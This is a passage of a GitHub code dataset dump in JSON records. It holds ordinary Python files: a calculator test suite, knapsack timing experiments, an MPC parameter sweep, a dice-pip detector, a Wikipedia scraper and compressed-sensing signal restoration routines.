"call"}, {"api_name": "bson.objectid.ObjectId", "line_number": 17, "usage_type": "call"}, {"api_name": "bson.objectid.ObjectId", "line_number": 38, "usage_type": "call"}]} {"seq_id": "33529181620", "text": "import sys\n\nfrom com.automationpanda.example.calc import Calculator\n\n# Attempt to use back-ported unittest2 for Python 2.6 and earlier\n# However, it is strongly recommended to use Python 2.7 or 3.\ntry:\n if sys.version_info < (2, 7):\n import unittest2\n else:\n raise ImportError()\nexcept ImportError:\n import unittest\n\nNUMBER_1 = 3.0\nNUMBER_2 = 2.0\nFAILURE = 'incorrect value'\n\n\nclass CalculatorTest(unittest.TestCase):\n def setUp(self):\n self.calc = Calculator()\n\n def test_last_answer_init(self):\n value = self.calc.last_answer\n self.assertEqual(value, 0.0, FAILURE)\n\n def test_add(self):\n value = self.calc.add(NUMBER_1, NUMBER_2)\n self.assertEqual(value, 5.0, FAILURE)\n self.assertEqual(value, self.calc.last_answer, FAILURE)\n\n def test_subtract(self):\n value = self.calc.subtract(NUMBER_1, NUMBER_2)\n self.assertEqual(value, 1.0, FAILURE)\n self.assertEqual(value, self.calc.last_answer, FAILURE)\n\n def test_subtract_negative(self):\n value = self.calc.subtract(NUMBER_2, NUMBER_1)\n self.assertEqual(value, -1.0, FAILURE)\n self.assertEqual(value, self.calc.last_answer, FAILURE)\n\n def test_multiply(self):\n value = self.calc.multiply(NUMBER_1, NUMBER_2)\n self.assertEqual(value, 6.0, FAILURE)\n self.assertEqual(value, self.calc.last_answer, FAILURE)\n\n def test_divide(self):\n value = self.calc.divide(NUMBER_1, NUMBER_2)\n self.assertEqual(value, 1.5, FAILURE)\n self.assertEqual(value, self.calc.last_answer, FAILURE)\n\n def test_divide_by_zero(self):\n self.assertRaises(ZeroDivisionError, self.calc.divide, NUMBER_1, 0)\n\n def test_max_greater(self):\n value = self.calc.maximum(NUMBER_1, NUMBER_2)\n self.assertEqual(value, NUMBER_1, FAILURE)\n self.assertEqual(value, self.calc.last_answer, FAILURE)\n\n def test_max_less(self):\n value = self.calc.maximum(NUMBER_2, NUMBER_1)\n self.assertEqual(value, NUMBER_1, FAILURE)\n self.assertEqual(value, self.calc.last_answer, FAILURE)\n\n def test_max_equal(self):\n value = self.calc.maximum(NUMBER_1, NUMBER_1)\n self.assertEqual(value, NUMBER_1, FAILURE)\n self.assertEqual(value, self.calc.last_answer, FAILURE)\n\n def test_min_greater(self):\n value = self.calc.minimum(NUMBER_1, NUMBER_2)\n self.assertEqual(value, NUMBER_2, FAILURE)\n self.assertEqual(value, self.calc.last_answer, FAILURE)\n\n def test_min_less(self):\n value = self.calc.minimum(NUMBER_2, NUMBER_1)\n self.assertEqual(value, NUMBER_2, FAILURE)\n self.assertEqual(value, self.calc.last_answer, FAILURE)\n\n def test_min_equal(self):\n value = self.calc.minimum(NUMBER_2, NUMBER_2)\n self.assertEqual(value, NUMBER_2, FAILURE)\n self.assertEqual(value, self.calc.last_answer, FAILURE)\n\n\nif __name__ == '__main__':\n import xmlrunner\n\n unittest.main(\n testRunner=xmlrunner.XMLTestRunner(output='test-reports'),\n failfast=False,\n buffer=False,\n catchbreak=False)\n", "repo_name": "AutomationPanda/python-testing-101", "sub_path": "example-py-unittest/com/automationpanda/tests/test_calc.py", "file_name": "test_calc.py", "file_ext": "py", "file_size_in_byte": 3119, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 63, "dataset": "github-code", "pt": "78", "api": [{"api_name": "sys.version_info", "line_number": 8, "usage_type": "attribute"}, {"api_name": "unittest.TestCase", "line_number": 20, "usage_type": "attribute"}, {"api_name": "com.automationpanda.example.calc.Calculator", "line_number": 22, "usage_type": "call"}, {"api_name": "unittest.main", "line_number": 90, "usage_type": "call"}, {"api_name": "xmlrunner.XMLTestRunner", "line_number": 91, "usage_type": "call"}]} {"seq_id": "18973790615", "text": "from annotations.bop import get_dict_bop_cpgs\nfrom config.config import *\n\ndef save_dict_bop_cpg(config):\n dict_bop_cpgs = get_dict_bop_cpgs(config)\n\n str_list = []\n for bop in dict_bop_cpgs:\n bop_cpgs = dict_bop_cpgs.get(bop)\n curr_str = bop\n for bop_cpg in bop_cpgs:\n curr_str += ' ' + bop_cpg\n str_list.append(curr_str)\n\n fn = get_bop_data_path(config, 'dict_bop_cpg.txt')\n np.savetxt(fn, str_list, fmt=\"%s\")\n\n\ndb = DataBaseType.GSE52588\nconfig = Config(\n db=db\n)\n\nclasses = [ClassType.any, ClassType.class_a, ClassType.class_b, ClassType.class_c, ClassType.class_d]\n\nfor class_type in classes:\n print('class: ' + class_type.value)\n config.class_type = class_type\n save_dict_bop_cpg(config)\n", "repo_name": "GillianGrayson/mlmg", "sub_path": "source/python/Methylation/data_generation/bop/dict_bop_cpg.py", "file_name": "dict_bop_cpg.py", "file_ext": "py", "file_size_in_byte": 760, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "annotations.bop.get_dict_bop_cpgs", "line_number": 5, "usage_type": "call"}, {"api_name": "config.config", "line_number": 5, "usage_type": "argument"}, {"api_name": "config.config", "line_number": 15, "usage_type": "argument"}, {"api_name": "config.config", "line_number": 20, "usage_type": "name"}, {"api_name": "config.config.class_type", "line_number": 28, "usage_type": "attribute"}, {"api_name": "config.config", "line_number": 28, "usage_type": "name"}, {"api_name": "config.config", "line_number": 29, "usage_type": "argument"}]} {"seq_id": "38987858746", "text": "# 1. Imports\nimport time\nfrom random import randint\nimport matplotlib.pyplot as plt\nfrom knapsack import ks_bottom_up, ks_top_down\n\n# Helper function to measure the runtime of a function\ndef measure_runtime(func, items, capacity):\n start_time = time.time()\n func(items, capacity)\n end_time = time.time()\n return end_time - start_time\n\n# Experiment function to run the knapsack algorithm and collect runtime data\ndef knapsack_runtime_experiment(func, item_counts, max_capacity, min_value, max_value, min_weight, max_weight, iterations):\n results = {}\n for count in item_counts:\n average_runtime = 0\n for _ in range(iterations):\n items = [(randint(min_value, max_value), randint(min_weight, max_weight)) for _ in range(count)]\n runtime = measure_runtime(func, items, max_capacity)\n average_runtime += runtime\n average_runtime /= iterations\n results[count] = average_runtime\n return item_counts, [results[count] for count in item_counts]\n\n\n\n# Bottom up is better: Large number of items with small weights and high values\ndef plot1_results():\n item_counts = range(10, 501, 10) # Varying number of items\n max_capacity = 50 # Maximum capacity of the knapsack\n iterations = 100 # Number of iterations to average out the runtime\n min_weight = 1\n max_weight = 5\n min_value = 50\n max_value = 100\n\n plt.figure(figsize=(10, 6))\n\n # Running experiments for both bottom-up and top-down approaches\n\n x, y = knapsack_runtime_experiment(ks_bottom_up, item_counts, max_capacity, min_value, max_value, min_weight, max_weight, iterations)\n plt.plot(x, y, label='Bottom-Up')\n x, y = knapsack_runtime_experiment(ks_top_down, item_counts, max_capacity, min_value, max_value, min_weight, max_weight, iterations)\n plt.plot(x, y, label='Top-Down')\n\n plt.title('Knapsack Algorithm Runtime Comparison (BU is better)')\n plt.xlabel('Number of Items')\n plt.ylabel('Average Runtime (seconds)')\n plt.legend()\n plt.grid(True)\n plt.tight_layout()\n plt.show()\n plt.close()\n\n# Run the experiment and generate the plot\n#plot1_results()\n\n\n#Top-down is better: Small number of items with weights close to the knapsack's capacity and a smaller value:weight ratio (much more specific because BU is usually better)\ndef plot2_results():\n item_counts = range(10, 501, 5) \n max_capacity = 50 \n iterations = 100 \n min_weight = 25\n max_weight = 50\n min_value = 1\n max_value = 10\n\n plt.figure(figsize=(10, 6))\n\n x, y = knapsack_runtime_experiment(ks_bottom_up, item_counts, max_capacity, min_value, max_value, min_weight, max_weight, iterations)\n plt.plot(x, y, label='Bottom-Up')\n x, y = knapsack_runtime_experiment(ks_top_down, item_counts, max_capacity, min_value, max_value, min_weight, max_weight, iterations)\n plt.plot(x, y, label='Top-Down')\n\n\n plt.title('Knapsack Algorithm Runtime Comparison (TD is better)')\n plt.xlabel('Number of Items')\n plt.ylabel('Average Runtime (seconds)')\n plt.legend()\n plt.grid(True)\n plt.tight_layout()\n plt.show()\n plt.close()\n\n# Run the experiment and generate the plot\nplot2_results()\n", "repo_name": "HemrajB87/Lab3-3xb3-", "sub_path": "BU_v_TD_knapsack_experiments.py", "file_name": "BU_v_TD_knapsack_experiments.py", "file_ext": "py", "file_size_in_byte": 3191, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "time.time", "line_number": 9, "usage_type": "call"}, {"api_name": "time.time", "line_number": 11, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 20, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 39, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 39, "usage_type": "name"}, {"api_name": "knapsack.ks_bottom_up", "line_number": 43, "usage_type": "argument"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 44, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 44, "usage_type": "name"}, {"api_name": "knapsack.ks_top_down", "line_number": 45, "usage_type": "argument"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 46, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 46, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 48, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 48, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 49, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 49, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 50, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 50, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 51, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 51, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.grid", "line_number": 52, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 52, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.tight_layout", "line_number": 53, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 53, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 54, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 54, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.close", "line_number": 55, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 55, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 71, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 71, "usage_type": "name"}, {"api_name": "knapsack.ks_bottom_up", "line_number": 73, "usage_type": "argument"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 74, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 74, "usage_type": "name"}, {"api_name": "knapsack.ks_top_down", "line_number": 75, "usage_type": "argument"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 76, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 76, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 79, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 79, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 80, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 80, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 81, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 81, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 82, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 82, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.grid", "line_number": 83, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 83, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.tight_layout", "line_number": 84, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 84, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 85, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 85, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.close", "line_number": 86, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 86, "usage_type": "name"}]} {"seq_id": "42800341873", "text": "\"\"\"\nThis script selects all combinations of MPC optimizers and environments from config.\nIt runs the controllers for a number of randomized trials using the default parametrization in controller / optimizer config.\nYou can additionally specify hyperparameters to sweep. Each hyperparameter combination will be run independently.\n\"\"\"\n# 1. Specify the following (can be an empty list)\n# Example:\n# parameters_to_sweep = [\"config_optimizers.rpgd-tf.learning_rate\", \"config_optimizers.rpgd-tf.batch_size\"]\n# sweep_values = [[0.01, 0.05, 0.2], [1, 5, 10]]\n# -> Creates 3 runs with zipped parameter tuples (0.01, 1), (0.05, 5), (0.2, 10).\n# -> Hint: Make sure that the optimizer you sweep over is also set either here or directly in config\n\nparameters_to_sweep = [\n \"config_controllers.mpc.optimizer\", # syntax: <>.<>.<>\n]\nsweep_values = [\n [\"rpgd-tf\", \"rpgd-me-tf\"],\n] # One list per parameter above. All sublists need to have same length\ncontroller_name = \"controller_mpc\"\n\n### ------------------------------------------------------------------------------------ ###\nfrom datetime import datetime\nimport os\nfrom itertools import product\n\nimport tensorflow as tf\nfrom main import run_data_generator\nimport ruamel.yaml\n\nfrom Utilities.utils import ConfigManager, CurrentRunMemory, OutputPath, get_logger, nested_assignment_to_ordereddict\n\nlogger = get_logger(__name__)\n\n\nconfig_manager = ConfigManager(\".\", \"Control_Toolkit_ASF\", \"SI_Toolkit_ASF\", \"Environments\")\nenvironment_name = config_manager(\"config\")[\"environment_name\"]\n\nif controller_name != \"controller_mpc\":\n raise ValueError(\"This script is designed to run when the config.yml has controller_names=[controller_mpc].\")\n\nif __name__ == \"__main__\":\n datetime_str = datetime.now().strftime('%Y%m%d-%H%M%S')\n # Iterate over all zipped hyperparameter combinations:\n for sweep_value_tuple in zip(*sweep_values):\n OutputPath.collection_folder_name = os.path.join(\n f\"{datetime_str}_sweep_{','.join(parameters_to_sweep)}\",\n f\"{datetime_str}_{controller_name}_{environment_name}\",\n f\"{datetime_str}_{','.join(parameters_to_sweep)}={','.join(list(map(str, sweep_value_tuple)))}\",\n )\n CurrentRunMemory.current_controller_name = controller_name\n CurrentRunMemory.current_environment_name = environment_name\n \n for param_desc, param_value in zip(parameters_to_sweep, sweep_value_tuple):\n config_name, config_entry, param_name = param_desc.split(\".\")\n if param_name not in config_manager(config_name)[config_entry]:\n raise ValueError(f\"{param_name} is not used in {config_name}\")\n # Overwrite with sweep value:\n loader = config_manager.loaders[config_name]\n data: ruamel.yaml.comments.CommentedMap = loader.load()\n nested_assignment_to_ordereddict(data, {config_entry: {param_name: param_value}})\n loader.overwrite_config(data)\n\n device_name = \"/CPU:0\"\n if config_manager(\"config\")[\"use_gpu\"]:\n if len(tf.config.list_physical_devices(\"GPU\")) > 0:\n device_name = \"/GPU:0\"\n else:\n logger.info(\n \"GPU use specified in config but no device available. Using CPU instead.\"\n )\n\n with tf.device(device_name):\n run_data_generator(\n CurrentRunMemory.current_controller_name,\n CurrentRunMemory.current_environment_name,\n config_manager,\n )\n", "repo_name": "SensorsINI/ControlGym", "sub_path": "Utilities/run_mpc_sweep.py", "file_name": "run_mpc_sweep.py", "file_ext": "py", "file_size_in_byte": 3582, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 3, "dataset": "github-code", "pt": "78", "api": [{"api_name": "Utilities.utils.get_logger", "line_number": 32, "usage_type": "call"}, {"api_name": "Utilities.utils.ConfigManager", "line_number": 35, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 42, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 42, "usage_type": "name"}, {"api_name": "Utilities.utils.OutputPath.collection_folder_name", "line_number": 45, "usage_type": "attribute"}, {"api_name": "Utilities.utils.OutputPath", "line_number": 45, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 45, "usage_type": "call"}, {"api_name": "os.path", "line_number": 45, "usage_type": "attribute"}, {"api_name": "Utilities.utils.CurrentRunMemory.current_controller_name", "line_number": 50, "usage_type": "attribute"}, {"api_name": "Utilities.utils.CurrentRunMemory", "line_number": 50, "usage_type": "name"}, {"api_name": "Utilities.utils.CurrentRunMemory.current_environment_name", "line_number": 51, "usage_type": "attribute"}, {"api_name": "Utilities.utils.CurrentRunMemory", "line_number": 51, "usage_type": "name"}, {"api_name": "ruamel.yaml.yaml", "line_number": 59, "usage_type": "attribute"}, {"api_name": "ruamel.yaml", "line_number": 59, "usage_type": "name"}, {"api_name": "Utilities.utils.nested_assignment_to_ordereddict", "line_number": 60, "usage_type": "call"}, {"api_name": "tensorflow.config.list_physical_devices", "line_number": 65, "usage_type": "call"}, {"api_name": "tensorflow.config", "line_number": 65, "usage_type": "attribute"}, {"api_name": "tensorflow.device", "line_number": 72, "usage_type": "call"}, {"api_name": "main.run_data_generator", "line_number": 73, "usage_type": "call"}, {"api_name": "Utilities.utils.CurrentRunMemory.current_controller_name", "line_number": 74, "usage_type": "attribute"}, {"api_name": "Utilities.utils.CurrentRunMemory", "line_number": 74, "usage_type": "name"}, {"api_name": "Utilities.utils.CurrentRunMemory.current_environment_name", "line_number": 75, "usage_type": "attribute"}, {"api_name": "Utilities.utils.CurrentRunMemory", "line_number": 75, "usage_type": "name"}]} {"seq_id": "17739739667", "text": "import numpy as np\nimport cv2\nimport matplotlib.pyplot as plt\n\nimage = cv2.imread(\"images/hinh1.jpg\")\ngray = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)\nblurred = cv2.GaussianBlur(src = gray, ksize = (5, 5), sigmaX = 0)\n# Setup SimpleBlobDetector parameters.\nparams = cv2.SimpleBlobDetector_Params() # Cai dat ham detector cham (ham loc, lay cham)\n\n# Filter by Inertia\nparams.filterByArea = True\nparams.minArea = 3\nparams.maxArea = 128*128\nparams.filterByCircularity = False\nparams.filterByColor = False\nparams.filterByConvexity = False\nparams.filterByInertia = False # Chon xai cong cu Filter Inertia\nparams.minInertiaRatio = 0.7 # Chon min do tron cua hinh la 0.7\nparams.minThreshold = int(0.5*255)\nparams.maxThreshold = int(0.95*255)\nparams.thresholdStep = 10\n\n# Create a detector with the parameters (Tao ct con detect)\nver = (cv2.__version__).split('.')\nif int(ver[0]) < 3:\n detector = cv2.SimpleBlobDetector(params)\nelse:\n detector = cv2.SimpleBlobDetector_create(params)\n\n# Binary Picture For Detect Black Pips Of Dice\n#binary = cv2.adaptiveThreshold(gray, 255, cv2.ADAPTIVE_THRESH_GAUSSIAN_C, cv2.THRESH_BINARY, 131, 15)\n(_,binary) = cv2.threshold(blurred, 200, 255, cv2.THRESH_BINARY)\ncv2.imshow(\"binary\", binary)\n# Detect black blobs.\nkeypoints = detector.detect(binary)\nprint(keypoints)\ntong_cham = len(keypoints) # so luong cham den\n\ntam = np.zeros(shape=(len(keypoints), 2)) # Tim tam cua nhung cham\nfor i in range(len(keypoints)):\n tam[i][0] = keypoints[i].pt[0] # Toa do x\nfor i in range(len(keypoints)):\n tam[i][1] = keypoints[i].pt[1] # Toa do y\ntam = np.float32(tam) # Chuyen float 32bit\n# Su dung Kmean\ncriteria = (cv2.TERM_CRITERIA_EPS + cv2.TERM_CRITERIA_MAX_ITER, 10, 1.0)\nk = 6\nret, label, center = cv2.kmeans(tam, k, None, criteria, 10, cv2.KMEANS_RANDOM_CENTERS)\nprint(tam)\nprint(label)\ncount = np.zeros((6, 1), dtype=int) # Ma tran count luu so cham den cung 1 vung\nfont = cv2.FONT_HERSHEY_SIMPLEX\nfor i in label: # Ma tran chua so vung cua tung xuc xuat\n count[i] = count[i] + 1 # count chu so cham trong tung vung\nfor i in range(len(count)):\n cv2.putText(image, str(count[i]), (center[i][0], center[i][1]), font, 0.5, (0, 0, 255), 1)\n\n\ncv2.putText(image, 'Tong cham:' + str(tong_cham), (300, 50), font, 1, (0, 0, 255), 1)\ncv2.imshow(\"ket qua\", image)\ncv2.waitKey(0)\ncv2.destroyAllWindows()\n", "repo_name": "hovancon-zz/Bai7-Python", "sub_path": "hinh1.py", "file_name": "hinh1.py", "file_ext": "py", "file_size_in_byte": 2343, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "cv2.imread", "line_number": 5, "usage_type": "call"}, {"api_name": "cv2.cvtColor", "line_number": 6, "usage_type": "call"}, {"api_name": "cv2.COLOR_BGR2GRAY", "line_number": 6, "usage_type": "attribute"}, {"api_name": "cv2.GaussianBlur", "line_number": 7, "usage_type": "call"}, {"api_name": "cv2.SimpleBlobDetector_Params", "line_number": 9, "usage_type": "call"}, {"api_name": "cv2.__version__.split", "line_number": 25, "usage_type": "call"}, {"api_name": "cv2.__version__", "line_number": 25, "usage_type": "attribute"}, {"api_name": "cv2.SimpleBlobDetector", "line_number": 27, "usage_type": "call"}, {"api_name": "cv2.SimpleBlobDetector_create", "line_number": 29, "usage_type": "call"}, {"api_name": "cv2.threshold", "line_number": 33, "usage_type": "call"}, {"api_name": "cv2.THRESH_BINARY", "line_number": 33, "usage_type": "attribute"}, {"api_name": "cv2.imshow", "line_number": 34, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 40, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 45, "usage_type": "call"}, {"api_name": "cv2.TERM_CRITERIA_EPS", "line_number": 47, "usage_type": "attribute"}, {"api_name": "cv2.TERM_CRITERIA_MAX_ITER", "line_number": 47, "usage_type": "attribute"}, {"api_name": "cv2.kmeans", "line_number": 49, "usage_type": "call"}, {"api_name": "cv2.KMEANS_RANDOM_CENTERS", "line_number": 49, "usage_type": "attribute"}, {"api_name": "numpy.zeros", "line_number": 52, "usage_type": "call"}, {"api_name": "cv2.FONT_HERSHEY_SIMPLEX", "line_number": 53, "usage_type": "attribute"}, {"api_name": "cv2.putText", "line_number": 57, "usage_type": "call"}, {"api_name": "cv2.putText", "line_number": 60, "usage_type": "call"}, {"api_name": "cv2.imshow", "line_number": 61, "usage_type": "call"}, {"api_name": "cv2.waitKey", "line_number": 62, "usage_type": "call"}, {"api_name": "cv2.destroyAllWindows", "line_number": 63, "usage_type": "call"}]} {"seq_id": "40084668579", "text": "###############################################\n# aquire.py\n#\n# This file is responsible for aquiring data\n# that is to be parsed.\n#\n# Dependencies:\n# mechanize\n#\n# 2012-07-19\n# Trevor Pottinger\n###############################################\n\nimport csv\nwikibase = 'http://en.wikipedia.org/w/api.php'\nwikiargs = '?action=query&format=xml&redirects&titles=%s'\nwiki = wikibase + wikiargs\n\nclass url_feeder(object): \n\tdef __init__(self, fname):\n\t\t\"\"\"fname is the name of the file that we will have a url in\n\t\teach line representing a page for us to scrape.\"\"\"\n\t\tself.queue = []\n\t\twith open(fname) as f:\n\t\t\treader = csv.DictReader(f)\n\t\t\tfor l in reader:\n\t\t\t\tcomp = l['company']\n\t\t\t\tcomp = comp.replace(' ', '_')\n\t\t\t\turl = wiki % comp\n\t\t\t\tself.insert((url, l))\n\n\tdef __iter__(self):\n\t\treturn self\n\n\tdef next(self):\n\t\tif len(self.queue) != 0:\n\t\t\treturn self.queue.pop()\n\t\traise StopIteration\n\n\tdef insert(self, tup):\n\t\t\"\"\"tup is a tuple, where tup[0] is a url, tup[1] is a dict\"\"\"\n\t\tself.queue.insert(0, tup)\n\nimport mechanize as mech\n\nclass url_grabber(object):\n\tdef __init__(self):\n\t\tself.br = mech.Browser()\n\t\tself.br.addheaders = [('User-agent', 'PyBro_Slitherer')]\n\t\tself.br.set_handle_robots(True)\n\n\tdef retrieve(self, url):\n\t\t\"\"\"Attempt to retrieve the html stored at url.\"\"\"\n\t\ttry:\n\t\t\tself.br.open(url)\n\t\t\treturn self.br.response().read()\n\t\texcept:\n\t\t\treturn 'Failed' # we should probably handle this...\n\t\t\n\tdef toss_salad(self, fname):\n\t\twith open(fname) as f:\n\t\t\tpass\n", "repo_name": "nlintz/pyBros", "sub_path": "slitherer2/aquire.py", "file_name": "aquire.py", "file_ext": "py", "file_size_in_byte": 1529, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 4, "dataset": "github-code", "pt": "78", "api": [{"api_name": "csv.DictReader", "line_number": 25, "usage_type": "call"}, {"api_name": "mechanize.Browser", "line_number": 48, "usage_type": "call"}]} {"seq_id": "11057785052", "text": "import gurobipy as gp\nfrom gurobipy import GRB\n\nimport numpy as np\n\nimport scipy.optimize\n\nfrom sklearn.linear_model import OrthogonalMatchingPursuit, orthogonal_mp\nfrom time import time\n\n\nclass GurobiInFeasibleException(Exception):\n pass\n\n\ndef restore_cs1_signal(non_zero_features, sdm_signal, transformation, restoration_type=\"omp\",\n error_handler=print, length=600, **kwargs) -> np.ndarray:\n try:\n if isinstance(non_zero_features, tuple):\n len_non_zero_features = len(non_zero_features[0])\n if len_non_zero_features == 0:\n raise ValueError(\"No features in array\")\n elif isinstance(non_zero_features, int):\n len_non_zero_features = non_zero_features\n\n set_sdm_signal = set(sdm_signal)\n if set_sdm_signal == {0}:\n cs1_signal = np.zeros((transformation.shape[1],))\n else:\n if restoration_type == \"omp\":\n matrix = transformation.copy().astype(np.float64)\n arr = np.array(sdm_signal.copy())\n\n omp = OrthogonalMatchingPursuit(n_nonzero_coefs=len_non_zero_features)\n omp.fit(matrix, arr)\n\n inds = omp.coef_.argsort()[-len_non_zero_features:][::-1]\n cs1_signal = np.zeros((transformation.shape[1],))\n cs1_signal[inds] = 1\n elif restoration_type == \"linprog\":\n matrix = np.vstack([transformation.astype(int), np.ones((length,)).astype(int)])\n # arr = np.rint(np.append(sdm_signal, len_non_zero_features)).astype(int)\n arr = np.append(sdm_signal, len_non_zero_features)\n method = kwargs.get(\"method\") or \"interior-point\"\n solution = scipy.optimize.linprog(c=np.ones((matrix.shape[1],)), A_eq=matrix, b_eq=arr,\n method=method)\n solution_x = solution.x\n if solution_x is None:\n solution = scipy.optimize.linprog(c=np.ones((matrix.shape[1],)), A_eq=matrix, b_eq=arr)\n solution_x = solution.x\n inds = np.abs(solution_x).argsort()[-len_non_zero_features:][::-1]\n cs1_signal = np.zeros((length,))\n cs1_signal[inds] = 1\n else:\n raise Exception(f\"Unknown restoration type: {restoration_type}\")\n\n return cs1_signal.astype(np.int8)\n except Exception as error:\n if callable(error_handler):\n error_handler(error)\n else:\n print(error)\n\n return np.zeros((transformation.shape[1],)).astype(np.int8)\n\n\ndef restore_cs1_signal_gurobi(non_zero_features, sdm_signal, transformation, error_handler=print) -> np.ndarray:\n try:\n if isinstance(non_zero_features, tuple):\n len_non_zero_features = len(non_zero_features[0])\n if len_non_zero_features == 0:\n raise ValueError(\"No features in array\")\n elif isinstance(non_zero_features, int):\n len_non_zero_features = non_zero_features\n\n set_sdm_signal = set(sdm_signal)\n if set_sdm_signal == {0}:\n cs1_signal = np.zeros((transformation.shape[1], ), dtype=np.int8)\n else:\n model = gp.Model(\"mip1\")\n model.setParam('OutputFlag', 0)\n model.setParam('MIPFocus', 3)\n\n vars = []\n for i in range(transformation.shape[1]):\n x = model.addVar(vtype=GRB.BINARY, name=f\"x_{i}\")\n vars.append(x)\n\n ys = []\n for i in range(transformation.shape[0]):\n y = model.addVar(vtype=GRB.INTEGER)\n ys.append(y)\n\n # sums = []\n for i in range(transformation.shape[0]):\n s = sum([transformation[i][j] * vars[j] for j in range(transformation.shape[1])])\n # sums.append(s)\n # model.addConstr(s == sdm_signal[i], f\"c_{i}\")\n model.addConstr(s - sdm_signal[i] <= ys[i], f\"c0_{i}\")\n model.addConstr(sdm_signal[i] - s <= ys[i], f\"c1_{i}\")\n\n model.addConstr(sum(vars) == len_non_zero_features, f\"c_sum\")\n\n model.setObjective(sum(ys), GRB.MINIMIZE)\n\n\n # l = [gp.abs_(sums[i] - sdm_signal[i]) for i in range(transformation.shape[0])]\n # model.setObjective(gp.sum_(l[1:], start=l[0]), GRB.MINIMIZE)\n\n model.optimize()\n if model.status == GRB.OPTIMAL:\n cs1_signal = np.array([x.x for n, x in enumerate(vars)], dtype=np.int8)\n else:\n raise GurobiInFeasibleException()\n # cs1_signal = np.zeros((transformation.shape[1], ), dtype=np.int8)\n\n return cs1_signal\n except GurobiInFeasibleException:\n raise\n except Exception as error:\n if callable(error_handler):\n error_handler(\"err\", error)\n else:\n print(\"err\", error)\n\n return np.zeros((transformation.shape[1], ), dtype=np.int8)\n\n\ndef restore_cs1_signal_cosamp(non_zero_features, sdm_signal, transformation, error_handler=print,\n tol=1e-10, precision=1e-12, max_iter=1000, transformation_transposed=None):\n \"\"\"\n @Brief: \"CoSaMP: Iterative signal recovery from incomplete and inaccurate\n samples\" by Deanna Needell & Joel Tropp\n\n @Input: Phi - Sampling matrix\n u - Noisy sample vector\n s - Sparsity vector\n\n @Return: A s-sparse approximation \"a\" of the target signal\n \"\"\"\n if isinstance(non_zero_features, tuple):\n len_non_zero_features = len(non_zero_features[0])\n if len_non_zero_features == 0:\n raise ValueError(\"No features in array\")\n elif isinstance(non_zero_features, int):\n len_non_zero_features = non_zero_features\n try:\n max_iter -= 1 # Correct the while loop\n a = np.zeros(transformation.shape[1])\n v = sdm_signal\n iterations = 0\n halt = False\n\n # speedup\n if transformation_transposed is None:\n transformation_transposed = np.transpose(transformation)\n sdm_signal_norm = np.linalg.norm(sdm_signal)\n while not halt:\n iterations += 1\n # print(\"Iteration {}\\r\".format(iter))\n\n y = abs(np.dot(transformation_transposed, v))\n # Omega = [i for (i, val) in enumerate(y) if val > np.sort(y)[::-1][2*len_non_zero_features] and val > precision] # equivalent to below\n # Omega = np.argwhere(y >= np.maximum(np.sort(y)[::-1][2*len_non_zero_features], precision))\n Omega = np.flatnonzero(y >= 